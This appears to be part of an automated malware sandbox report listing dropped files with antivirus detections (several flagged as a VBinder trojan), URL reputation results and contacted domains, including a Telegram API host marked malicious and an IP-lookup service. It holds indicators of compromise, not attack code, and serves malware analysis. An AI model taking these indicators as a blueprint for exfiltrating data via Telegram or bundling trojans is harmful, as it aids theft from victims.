C:\Users\user\AppData\Local\Temp\_MEI6522\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6522\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\x10.exe	100%	ReversingLabs	Win32.Trojan.VBinder
C:\Users\user\AppData\Local\Temp\x4.exe	92%	ReversingLabs	Win32.Trojan.VBinder
C:\Users\user\AppData\Local\Temp\x5.exe	89%	ReversingLabs	Win32.Trojan.VBinder
C:\Users\user\AppData\Local\Temp\x6.exe	89%	ReversingLabs	Win32.Trojan.VBinder
C:\Users\user\AppData\Local\Temp\x7.exe	89%	ReversingLabs	Win32.Trojan.VBinder

Source	Detection	Scanner	Label
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://github.com/ljharb/call-bind/commit/44c5433b7980e02b4870007046407cf6fc543329)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/dedfb98bd0ecefb08ddb9a94061bd10cde4332af)	0%	Avira URL Cloud	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=310299	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/431d0f0ff11fbd2ae6f3115582a356d3a1cfce82)	0%	Avira URL Cloud	safe
https://img.shields.io/npm/l/es-errors.svg	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/2ab762b48164aea8af37a40ba105bbc8246ab8c4)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/d6043c4d8f4d7be9037dd0f0419c7a2e0e39ec6a)	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/f51bcf26412d58d17ce17c91c9afd0ad271f0762)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/c7138b6c6d73132d859471fb8c13304e1e7c8b20)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/780eb36552514f8cc99c70821ce698697c2726a5)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/b6db284c36f8ccd195b88a6764fe84b7223a0da1)	0%	Avira URL Cloud	safe
http://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP950.TXT	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/5130877a7b27c862e64e6d1c12a178b28808859d)	0%	Avira URL Cloud	safe
https://codecov.io/gh/ljharb/es-errors/branch/main/graphs/badge.svg	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/774dd0b3e8f741c3f05a6322d124d6087f146af1)	0%	Avira URL Cloud	safe
http://encoding.spec.whatwg.org/#big5-encoder	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/c60e6b7b4cf9660c7f27ed970970fd55fac48dc5)	0%	Avira URL Cloud	safe
https://versionbadg.es/Raynos/function-bind.svg	0%	Avira URL Cloud	safe
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Avira URL Cloud	safe
https://github.com/ljharb/define-data-property/commit/3e9be00e07784ba34e7c77d8bc0fdbc832ad61de)	0%	Avira URL Cloud	safe
https://travis-ci.org/jshttp/etag	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/af48765a23c5323fb0b6b38dbf00eb5099c7bebc)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/b9b2b225f9e0ea72a6ec2b89348f0bd690bc9ed1)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/issues/16)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/fb326c4d2817c8419ec31de1295f06bb268a7902)	0%	Avira URL Cloud	safe
https://img.shields.io/npm/dm/es-errors.svg	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/130f0a6adbc04d385c7456a601d38344dce3d6a9)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/issues/9)	0%	Avira URL Cloud	safe
https://npmjs.org/package/function-bind	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/5ba0b51d8d8d4f1c31d426d74abc0770fd106bad)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/d464d8fe52b5eddf1504a0ed97f0941a90f32c15)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/2f098ef092a39399cfe548b19a1fc03c2fd2f490)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/77d9cdceb2a9e47700074f2ae0c0a202e7dac0d4)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/29b05aec3e7330e9ad0b8e0f685a9112c20cdd97)	0%	Avira URL Cloud	safe
https://github.com/Raynos/function-bind/actions	0%	Avira URL Cloud	safe
https://github.com/ashtuchkin/iconv-lite	0%	Avira URL Cloud	safe
https://img.shields.io/npm/l/has-proto.svg	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/ea6d030ff3fe6be2eca39e859d644c51ecd88869)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/17b4f0d56dea6b4059b56fc30ef3ee4d9500ebc2)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/8325deee43128f3654d3399aa9591741ebe17b21)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/e10d0bbdadc7a10ecedc9a1c035112d3e368b8df)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/ec81665b300f87eabff597afdc8b8092adfa7afd)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/ecf7722240d15cfd16edda06acf63359c10fb9bd)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/a6cca25f29635889b7e9bd669baf9e04be90e48c)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/a989b4024958737ae7be9fbffdeff2078f33a0fd)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/31532948de363b0a27dd9fd4649e7b7028ec4b44)	0%	Avira URL Cloud	safe
https://img.shields.io/npm/dm/has-symbols.svg	0%	Avira URL Cloud	safe
http://tjholowaychuk.com)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/5e7108e4768b244d48d9567ba4f8a6cab9c65b8e)	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/4a526df44e4701566ed001ec78546193f818b082)	0%	Avira URL Cloud	safe
https://david-dm.org/Raynos/function-bind/dev-status.svg	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/89bcc7a42e19bf07b7c21e3094d5ab177109e6d2)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/18d01c4015b82a3d75044c4d5ba7917b2eac01ec)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/0c227a7d8b629166f25715fd242553892e458525)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/d1d280dec714e3f0519cc877dbcb193057d9cac6)	0%	Avira URL Cloud	safe
https://img.shields.io/npm/dm/has-proto.svg	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/compare/v1.0.0...v1.0.1)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/c4001fc43031799ef908211c98d3b0fb2b60fde4)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/73bdefe568c9076cf8c0b8719bc2141aec0e19b8)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/e09d481528452ebafa5cdeae1af665c35aa2deee)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/195613f28b5c1e6072ef0b61b5beebaf2b6a304e)	0%	Avira URL Cloud	safe
https://npm-stat.com/charts.html?package=function-bind	0%	Avira URL Cloud	safe
http://moztw.org/docs/big5/	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/593cb4fb38e7922e40e42c183f45274b636424cd)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/bcac811abdc1c982e12abf848a410d6aae148d14)	0%	Avira URL Cloud	safe
https://github.com/ljharb/define-data-property/commit/35e577a6ba59a98befa97776d70d90f3bea9009d)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/6ab096d9de2b482cf5e0717e34e212f5b2b9bc9a)	0%	Avira URL Cloud	safe
https://david-dm.org/inspect-js/has-proto/dev-status.svg	0%	Avira URL Cloud	safe
https://docs.npmjs.com/getting-started/installing-npm-packages-locally):	0%	Avira URL Cloud	safe
https://nodejs.org/en/)	0%	Avira URL Cloud	safe
http://www.ogcio.gov.hk/tc/business/tech_promotion/ccli/terms/doc/hkscs-2008-big5-iso.txt	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/e723573438c5a68dcec31fb5d96ea6b7e4a93be8)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/d564d5ce3e06a19df4d499c77f8d1a9da44e77aa)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/compare/v1.0.4...v1.0.5)	0%	Avira URL Cloud	safe
https://github.com/ljharb/get-intrinsic/commit/bbce57c6f33d05b2d8d3efa273ceeb3ee01127bb)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/10909cbf8ce9c0bf96f604cf13d7ffd5a22c2d40)	0%	Avira URL Cloud	safe
https://github.com/ljharb/define-data-property/commit/172bb10890896ebb160e64398f6ee55760107bee)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/d4f6e629b6fb93a07415db7f30d3c90fd7f264fe)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/ec7fe46e60cfa4764ee943d2755f5e5a366e578e)	0%	Avira URL Cloud	safe
https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/es-er	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/a0e165c5dc61db781cbc919b586b1c2b8da0b150)	0%	Avira URL Cloud	safe
https://img.shields.io/npm/dm/etag.svg	0%	Avira URL Cloud	safe
https://david-dm.org/inspect-js/has-proto	0%	Avira URL Cloud	safe
https://david-dm.org/Raynos/function-bind.svg	0%	Avira URL Cloud	safe
https://semver.org/spec/v2.0.0.html).	0%	Avira URL Cloud	safe
https://david-dm.org/ljharb/es-errors.svg	0%	Avira URL Cloud	safe
http://www.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/OTHER/BIG5.TXT)	0%	Avira URL Cloud	safe
http://github.com/isaacs/npm):	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/aec42d2ec541a31aaa02475692c87d489237d9a3)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/35d67fcea883e686650f736f61da5ddca2592de8)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/408f860b773a2f610805fd3613d0d71bac1b6249)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/55ae803a920bd93c369cd798c20de31f91e9fc60)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/a5c4e5675ec02d5eb4d84b4243aeea2a1d38fbec)	0%	Avira URL Cloud	safe
https://github.com/ljharb/call-bind/commit/adbceaa3cac4b41ea78bb19d7ccdbaaf7e0bdadb)	0%	Avira URL Cloud	safe
https://github.com/ljharb/side-channel/commit/46a5a81705cd2664f83df232c01dbbf2ee952885)	0%	Avira URL Cloud	safe
https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.129.229	true	false	unknown
fg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
github.com	140.82.121.3	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
raw.githubusercontent.com	185.199.109.133	true	false	unknown
ip-api.com	208.95.112.1	true	false	unknown
api.telegram.org	149.154.167.220	true	true	unknown
cdn.jsdelivr.net	unknown	unknown	true	unknown
kit-pro.fontawesome.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/quivings/Solara/main/Storage/version.txt	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugzilla.mozilla.org/show_bug.cgi?id=310299	dbcs-data.js.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/431d0f0ff11fbd2ae6f3115582a356d3a1cfce82)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/d6043c4d8f4d7be9037dd0f0419c7a2e0e39ec6a)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/2ab762b48164aea8af37a40ba105bbc8246ab8c4)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/c7138b6c6d73132d859471fb8c13304e1e7c8b20)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/dedfb98bd0ecefb08ddb9a94061bd10cde4332af)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/f51bcf26412d58d17ce17c91c9afd0ad271f0762)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/44c5433b7980e02b4870007046407cf6fc543329)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/npm/l/es-errors.svg	README.md19.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/780eb36552514f8cc99c70821ce698697c2726a5)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
http://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP950.TXT	dbcs-data.js.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/b6db284c36f8ccd195b88a6764fe84b7223a0da1)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/5130877a7b27c862e64e6d1c12a178b28808859d)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://versionbadg.es/Raynos/function-bind.svg	README.md30.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/774dd0b3e8f741c3f05a6322d124d6087f146af1)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://codecov.io/gh/ljharb/es-errors/branch/main/graphs/badge.svg	README.md19.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	Built.exe, 0000000F.00000003.2158751048.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159036711.00000114EA4D2000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2157078327.00000114E8B73000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2158170543.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159286294.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://encoding.spec.whatwg.org/#big5-encoder	dbcs-data.js.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/c60e6b7b4cf9660c7f27ed970970fd55fac48dc5)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/define-data-property/commit/3e9be00e07784ba34e7c77d8bc0fdbc832ad61de)	CHANGELOG.md15.13.dr	false	Avira URL Cloud: safe	unknown
https://travis-ci.org/jshttp/etag	README.md20.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/issues/16)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/npm/dm/es-errors.svg	README.md19.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/fb326c4d2817c8419ec31de1295f06bb268a7902)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/b9b2b225f9e0ea72a6ec2b89348f0bd690bc9ed1)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/af48765a23c5323fb0b6b38dbf00eb5099c7bebc)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/issues/9)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://npmjs.org/package/function-bind	README.md30.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/5ba0b51d8d8d4f1c31d426d74abc0770fd106bad)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/130f0a6adbc04d385c7456a601d38344dce3d6a9)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/d464d8fe52b5eddf1504a0ed97f0941a90f32c15)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/2f098ef092a39399cfe548b19a1fc03c2fd2f490)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/77d9cdceb2a9e47700074f2ae0c0a202e7dac0d4)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/29b05aec3e7330e9ad0b8e0f685a9112c20cdd97)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ashtuchkin/iconv-lite	package.json6.13.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/npm/l/has-proto.svg	README.md42.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Raynos/function-bind/actions	README.md30.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/ea6d030ff3fe6be2eca39e859d644c51ecd88869)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/8325deee43128f3654d3399aa9591741ebe17b21)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/e10d0bbdadc7a10ecedc9a1c035112d3e368b8df)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/17b4f0d56dea6b4059b56fc30ef3ee4d9500ebc2)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/ec81665b300f87eabff597afdc8b8092adfa7afd)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/ecf7722240d15cfd16edda06acf63359c10fb9bd)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/a989b4024958737ae7be9fbffdeff2078f33a0fd)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/a6cca25f29635889b7e9bd669baf9e04be90e48c)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/npm/dm/has-symbols.svg	README.md45.13.dr	false	Avira URL Cloud: safe	unknown
http://tjholowaychuk.com)	package.json11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/31532948de363b0a27dd9fd4649e7b7028ec4b44)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/5e7108e4768b244d48d9567ba4f8a6cab9c65b8e)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	Built.exe, 0000000F.00000003.2158751048.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159036711.00000114EA4D2000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2157078327.00000114E8B73000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2158170543.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 0000000F.00000003.2159286294.00000114EA4D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/4a526df44e4701566ed001ec78546193f818b082)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://david-dm.org/Raynos/function-bind/dev-status.svg	README.md30.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/89bcc7a42e19bf07b7c21e3094d5ab177109e6d2)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/18d01c4015b82a3d75044c4d5ba7917b2eac01ec)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/0c227a7d8b629166f25715fd242553892e458525)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.shields.io/npm/dm/has-proto.svg	README.md42.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/compare/v1.0.0...v1.0.1)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/d1d280dec714e3f0519cc877dbcb193057d9cac6)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/c4001fc43031799ef908211c98d3b0fb2b60fde4)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/e09d481528452ebafa5cdeae1af665c35aa2deee)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/73bdefe568c9076cf8c0b8719bc2141aec0e19b8)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://npm-stat.com/charts.html?package=function-bind	README.md30.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/195613f28b5c1e6072ef0b61b5beebaf2b6a304e)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/define-data-property/commit/35e577a6ba59a98befa97776d70d90f3bea9009d)	CHANGELOG.md15.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/593cb4fb38e7922e40e42c183f45274b636424cd)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/bcac811abdc1c982e12abf848a410d6aae148d14)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
http://moztw.org/docs/big5/	dbcs-data.js.13.dr	false	Avira URL Cloud: safe	unknown
https://docs.npmjs.com/getting-started/installing-npm-packages-locally):	README.md20.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/6ab096d9de2b482cf5e0717e34e212f5b2b9bc9a)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://nodejs.org/en/)	README.md20.13.dr	false	Avira URL Cloud: safe	unknown
http://www.ogcio.gov.hk/tc/business/tech_promotion/ccli/terms/doc/hkscs-2008-big5-iso.txt	dbcs-data.js.13.dr	false	Avira URL Cloud: safe	unknown
https://david-dm.org/inspect-js/has-proto/dev-status.svg	README.md42.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/e723573438c5a68dcec31fb5d96ea6b7e4a93be8)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/compare/v1.0.4...v1.0.5)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/d564d5ce3e06a19df4d499c77f8d1a9da44e77aa)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/10909cbf8ce9c0bf96f604cf13d7ffd5a22c2d40)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/get-intrinsic/commit/bbce57c6f33d05b2d8d3efa273ceeb3ee01127bb)	CHANGELOG.md5.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/define-data-property/commit/172bb10890896ebb160e64398f6ee55760107bee)	CHANGELOG.md15.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/d4f6e629b6fb93a07415db7f30d3c90fd7f264fe)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/ec7fe46e60cfa4764ee943d2755f5e5a366e578e)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/ljharb/es-er	README.md19.13.dr	false	Avira URL Cloud: safe	unknown
https://img.shields.io/npm/dm/etag.svg	README.md20.13.dr	false	Avira URL Cloud: safe	unknown
https://david-dm.org/inspect-js/has-proto	README.md42.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/a0e165c5dc61db781cbc919b586b1c2b8da0b150)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://semver.org/spec/v2.0.0.html).	CHANGELOG.md5.13.dr, CHANGELOG.md15.13.dr, CHANGELOG.md11.13.dr, CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	Built.exe, 0000000C.00000003.2148292554.000001FCC2742000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://david-dm.org/ljharb/es-errors.svg	README.md19.13.dr	false	Avira URL Cloud: safe	unknown
https://david-dm.org/Raynos/function-bind.svg	README.md30.13.dr	false	Avira URL Cloud: safe	unknown
http://www.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/OTHER/BIG5.TXT)	dbcs-data.js.13.dr	false	Avira URL Cloud: safe	unknown
http://github.com/isaacs/npm):	README.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/aec42d2ec541a31aaa02475692c87d489237d9a3)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/35d67fcea883e686650f736f61da5ddca2592de8)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/408f860b773a2f610805fd3613d0d71bac1b6249)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/55ae803a920bd93c369cd798c20de31f91e9fc60)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/call-bind/commit/adbceaa3cac4b41ea78bb19d7ccdbaaf7e0bdadb)	CHANGELOG.md13.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/a5c4e5675ec02d5eb4d84b4243aeea2a1d38fbec)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
https://github.com/ljharb/side-channel/commit/46a5a81705cd2664f83df232c01dbbf2ee952885)	CHANGELOG.md11.13.dr	false	Avira URL Cloud: safe	unknown
